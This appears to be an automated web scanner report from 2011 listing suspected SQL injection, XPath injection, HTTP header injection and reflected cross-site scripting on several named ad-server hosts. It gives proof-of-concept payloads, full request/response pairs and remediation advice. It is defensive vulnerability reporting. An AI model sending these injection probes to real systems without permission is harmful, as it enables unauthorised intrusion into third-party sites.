The __utmc cookie appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the __utmc cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The channel cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the channel cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The guid cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the guid cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The __utmc cookie appears to be vulnerable to SQL injection attacks. The payloads 21059860'%20or%201%3d1--%20 and 21059860'%20or%201%3d2--%20 were each submitted in the __utmc cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
<additional-hotel-data> <trip-advisor> <ta-reviews-trigger> <![CDATA[ <h4 class="property_details_reviews_third_party_title"> TripAdvisor reviews for Omni Parker House</h4> <div class="property_details_reviews_trip_advisor"> <div class="overall_review clearfix"> <span class="overall">Overall rating:</span> <span class="tripadvisor_owl_small"></span> <span class="tripadvisor_rating tripadvisor_rating_40"><span class="bar"></span><span class="sprite"></span></span> <span class="basedon"> Based on <em>1288</em> traveller reviews</span> </div> <h3>Most recent traveller reviews:</h3> <div class="individual_review"> <span class="tripadvisor_rating tripadvisor_rating_30"> <span class="bar"></span> <span class="sprite"></span> </span> <q class="title">"Amazing location, great lobby, small rooms"</q> <div class="review_data"> <abbr title="10/01/11" class="date">10/01/11</abbr> <span class="author">gopher2003</span> <span class="location">Denver</span> </div> <p> "If you are looking to spend very little time in the room, or you are travling alone and don't mind tight quarters, but location is your priority- this is the place for you. Parker House is on the Freedom Trail, located next to everything h ...[SNIP]...
<additional-hotel-data> <trip-advisor> <ta-reviews-trigger> <![CDATA[ <h4 class="property_details_reviews_third_party_title"> TripAdvisor reviews for Omni Parker House</h4> <div class="property_details_reviews_trip_advisor"> <div class="overall_review clearfix"> <span class="overall">Overall rating:</span> <span class="tripadvisor_owl_small"></span> <span class="tripadvisor_rating tripadvisor_rating_40"><span class="bar"></span><span class="sprite"></span></span> <span class="basedon"> Based on <em>1288</em> traveller reviews</span> </div> <h3>Most recent traveller reviews:</h3> <div class="individual_review"> <span class="tripadvisor_rating tripadvisor_rating_30"> <span class="bar"></span> <span class="sprite"></span> </span> <q class="title">"Amazing location, great lobby, small rooms"</q> <div class="review_data"> <abbr title="10/01/11" class="date">10/01/11</abbr> <span class="author">gopher2003</span> <span class="location">Denver</span> </div> <p> "If you are looking to spend very little time in the room, or you are travling alone and don't mind tight quarters, but location is your priority- this is the place for you. Parker House is on the Freedom Trail, located next to everything historical and mere blocks from three different subway stops. You absolutly can't beat the location. That being said, the room is one of the smallest I've been in. It was clean, tighty and comfy if you don't need a lot of room. Also, its historical so translate that as thin walls." </p> </div> <div class="clear-both"></div> <div class="individual_review"> <span class="tripadvisor_rating tripadvisor_rating_40"> <span class="bar"></span> <span class="sprite"></span> </span> <q class ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 16779709'%20or%201%3d1--%20 and 16779709'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The mvthistory cookie appears to be vulnerable to SQL injection attacks. The payloads 12592570'%20or%201%3d1--%20 and 12592570'%20or%201%3d2--%20 were each submitted in the mvthistory cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=click&FlightID=131794&AdID=260643&TargetID=62091&Segments=65,3522,3724,4354,4979,5788,7409,8303,8427,8773,11672,12591,22067,22782,24028,26273,27371,30359,34504,38844,38860,39489,39804,41374,41375,45767,47055,47463,48051,49210,49979,50264,50404,51152,51416,53235,57106,57111,58401,58758,58777,58865,58980,59407,59626,59629,59841,60715,61547,61548,61677,61817,62031,62093,62466,62910,63592,63927,64040&Targets=4897,9413,41261,42842,42841,62091&Values=60,80,92,101,138,194,216,264,32876,33113,33155,33227,33232,34014,34137,34581,34634,35048,35052,35065,35586,35793,35924,41054,66797,67440,68027,68032,68295,68362,68366,68375,96177,96189,103024,103078,103080,103453,103455&RawValues=NGUSERID%2Caeb2623-25195-1628532852-6&Redirect=http://www.trip.com/?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aeb2623-25195-1628532852-6; NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660
Response 1
HTTP/1.1 500 Internal Server Error Date: Mon, 03 Oct 2011 00:37:28 GMT Server: Apache/2.2.3 (CentOS) ntCoent-Length: 617 Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: private Content-Length: 617
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=click&FlightID=131794&AdID=260643&TargetID=62091&Segments=65,3522,3724,4354,4979,5788,7409,8303,8427,8773,11672,12591,22067,22782,24028,26273,27371,30359,34504,38844,38860,39489,39804,41374,41375,45767,47055,47463,48051,49210,49979,50264,50404,51152,51416,53235,57106,57111,58401,58758,58777,58865,58980,59407,59626,59629,59841,60715,61547,61548,61677,61817,62031,62093,62466,62910,63592,63927,64040&Targets=4897,9413,41261,42842,42841,62091&Values=60,80,92,101,138,194,216,264,32876,33113,33155,33227,33232,34014,34137,34581,34634,35048,35052,35065,35586,35793,35924,41054,66797,67440,68027,68032,68295,68362,68366,68375,96177,96189,103024,103078,103080,103453,103455&RawValues=NGUSERID%2Caeb2623-25195-1628532852-6&Redirect=http://www.trip.com/?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aeb2623-25195-1628532852-6; NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660
Response 2
HTTP/1.1 302 Found Date: Mon, 03 Oct 2011 00:37:28 GMT Server: Apache/2.2.3 (CentOS) Pragma: max-age=0 Content-Length: 0 Cache-control: no-cache Location: http://www.trip.com/?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Content-Type: text/html; charset=UTF-8
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=click&FlightID=131795&AdID=260698&TargetID=63940&Segments=65,3522,3724,4354,4979,7409,8303,8773,11672,12591,22067,22782,24028,26276,27371,30286,30359,30533,34504,38844,38860,39489,39804,41374,41375,42628,45767,47055,47463,48051,49210,49979,50264,50404,51152,51416,53235,57106,57111,58401,58758,58784,58865,59407,59626,59629,59841,60715,61547,61548,61677,61817,61818,62031,62093,62139,62324,62466,62910,63590,63592,63615,63927,64040&Targets=4897,41261,42842,42841,63940&Values=60,80,92,101,138,195,216,264,32876,33113,33155,33227,33232,34014,34137,34581,34634,35048,35052,35065,35586,35793,35924,41054,66797,67440,68027,68032,68295,68362,68366,68375,96177,96189,103024,103078,103080,103453,103455&RawValues=NGUSERID%2Caeb2623-25195-1628532852-6&Redirect=http://www.trip.com/index.html?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aeb2623-25195-1628532852-6; NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660
Response 1
HTTP/1.1 500 Internal Server Error Date: Mon, 03 Oct 2011 00:37:26 GMT Server: Apache/2.2.3 (CentOS) ntCoent-Length: 617 Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: private Content-Length: 617
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=click&FlightID=131795&AdID=260698&TargetID=63940&Segments=65,3522,3724,4354,4979,7409,8303,8773,11672,12591,22067,22782,24028,26276,27371,30286,30359,30533,34504,38844,38860,39489,39804,41374,41375,42628,45767,47055,47463,48051,49210,49979,50264,50404,51152,51416,53235,57106,57111,58401,58758,58784,58865,59407,59626,59629,59841,60715,61547,61548,61677,61817,61818,62031,62093,62139,62324,62466,62910,63590,63592,63615,63927,64040&Targets=4897,41261,42842,42841,63940&Values=60,80,92,101,138,195,216,264,32876,33113,33155,33227,33232,34014,34137,34581,34634,35048,35052,35065,35586,35793,35924,41054,66797,67440,68027,68032,68295,68362,68366,68375,96177,96189,103024,103078,103080,103453,103455&RawValues=NGUSERID%2Caeb2623-25195-1628532852-6&Redirect=http://www.trip.com/index.html?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aeb2623-25195-1628532852-6; NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660
Response 2
HTTP/1.1 302 Found Date: Mon, 03 Oct 2011 00:37:27 GMT Server: Apache/2.2.3 (CentOS) Pragma: max-age=0 Content-Length: 0 Cache-control: no-cache Location: http://www.trip.com/index.html?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Content-Type: text/html; charset=UTF-8
The put_2101 cookie appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the put_2101 cookie, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Issue background
XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.
Issue remediation
User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alhanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the src request parameter is copied into the Location response header. The payload 941ce%0d%0af56167da7a4 was submitted in the src parameter. This caused a response containing an injected HTTP header.
The value of the 476949646137654800&c request parameter is copied into the Set-Cookie response header. The payload 958bb%0d%0aa655d8051a4 was submitted in the 476949646137654800&c parameter. This caused a response containing an injected HTTP header.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5693a'-alert(1)-'88333851b7a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
4.2. http://a.collective-media.net/adj/cm.guardian/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/cm.guardian/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ddccb'-alert(1)-'fb58dd8594f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 660ee'-alert(1)-'ae4a32c4786 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4a54d'-alert(1)-'bfe528f9315 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sun, 02 Oct 2011 23:51:21 GMT Content-Length: 8208 Connection: close Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
var cid='122eace26f8db51';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("cm-30314387801_1317599481","http://ib.adnxs.com/ptj?member=311&inv_code=cm.guardian4a54d'-alert(1)-'bfe528f9315&size=300x250&imp_id=cm-30314387801_1317599481,122eace26f8db51&referrer=http%3A%2F%2Fwww.guardian.co.uk%2Ffootball%2Fmanchester-united&redir=http%3A%2F%2Fad.doubleclick.net%2Fadj%2Fcm.guardian4a54d%27- ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 264f9(a)bbc3f94df69 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sun, 02 Oct 2011 23:51:16 GMT Content-Length: 8074 Connection: close Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
4.6. http://ad.technoratimedia.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.technoratimedia.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c0a1"-alert(1)-"c16fe58ffb9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?pfm=1&tlfs=ch&tmen=ch&tphv=ch&rtg=ga&brw=cr3&os=wn7&prm=0&efo=0&atf=1&uatRandNo=65268&ad_type=ad§ion=1782250&ad_size=300x250&9c0a1"-alert(1)-"c16fe58ffb9=1 HTTP/1.1 Host: ad.technoratimedia.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://d.tradex.openx.com/afr.php?zoneid=6391&cb=INSERT_RANDOM_NUMBER_HERE Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:54:01 GMT Server: YTS/1.19.8 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Cache-Control: no-store Last-Modified: Sun, 02 Oct 2011 23:54:01 GMT Pragma: no-cache Content-Length: 4413 Age: 0 Proxy-Connection: close
/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "ad"; rm_url = "http://ad.technoratimedia.com/imp?9c0a1"-alert(1)-"c16fe58ffb9=1&Z=300x250&atf=1&brw=cr3&efo=0&os=wn7&pfm=1&prm=0&rtg=ga&s=1782250&tlfs=ch&tmen=ch&tphv=ch&uatRandNo=65268&_salt=339107265";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';i ...[SNIP]...
The value of the fpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec07e"><script>alert(1)</script>3f7f80201f0 was submitted in the fpid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99f88"><script>alert(1)</script>8138f9b958e was submitted in the sp parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
4.9. http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.yieldmanager.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e961"-alert(1)-"cb5fec4d025 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:49:07 GMT Server: YTS/1.19.8 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Set-Cookie: uid=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Cache-Control: no-store Last-Modified: Sun, 02 Oct 2011 23:49:07 GMT Pragma: no-cache Content-Length: 4324 Age: 0 Proxy-Connection: close
/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "ad"; rm_url = "http://ad.yieldmanager.com/imp?8e961"-alert(1)-"cb5fec4d025=1&Z=468x60&s=2398370&_salt=2593956440";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Ar ...[SNIP]...
4.10. http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.yieldmanager.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd43b"><script>alert(1)</script>36334559423 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:54:42 GMT Server: YTS/1.19.8 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Set-Cookie: uid=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Cache-Control: no-store Last-Modified: Sun, 02 Oct 2011 23:54:42 GMT Pragma: no-cache Content-Length: 4721 Age: 0 Proxy-Connection: close
<html><head></head><body><script type="text/javascript">/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id= ...[SNIP]... <a href="http://ad.yieldmanager.com/imageclick?Z=728x90&dd43b"><script>alert(1)</script>36334559423=1&s=2126909&_salt=328484640&t=2" target="_parent"> ...[SNIP]...
The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3bd3c"-alert(1)-"451a8231aa5 was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=3bd3c"-alert(1)-"451a8231aa5 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.manutd.com/en.aspx Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19701
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... [0]:"clickTAG"; var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|999|2046906|0|2384|AdId=2515525;BnId=38;itime=599365384;key=key1+key2+key3+key4;nodecode=yes;link=3bd3c"-alert(1)-"451a8231aa5") + escape(AT_CLICK); var AT_FLASHVARSSTR= ""; // if use microsite, dont add the first parameter if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|9 ...[SNIP]...
The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 116c3'-alert(1)-'ce519b8c547 was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=116c3'-alert(1)-'ce519b8c547 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.manutd.com/en.aspx Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
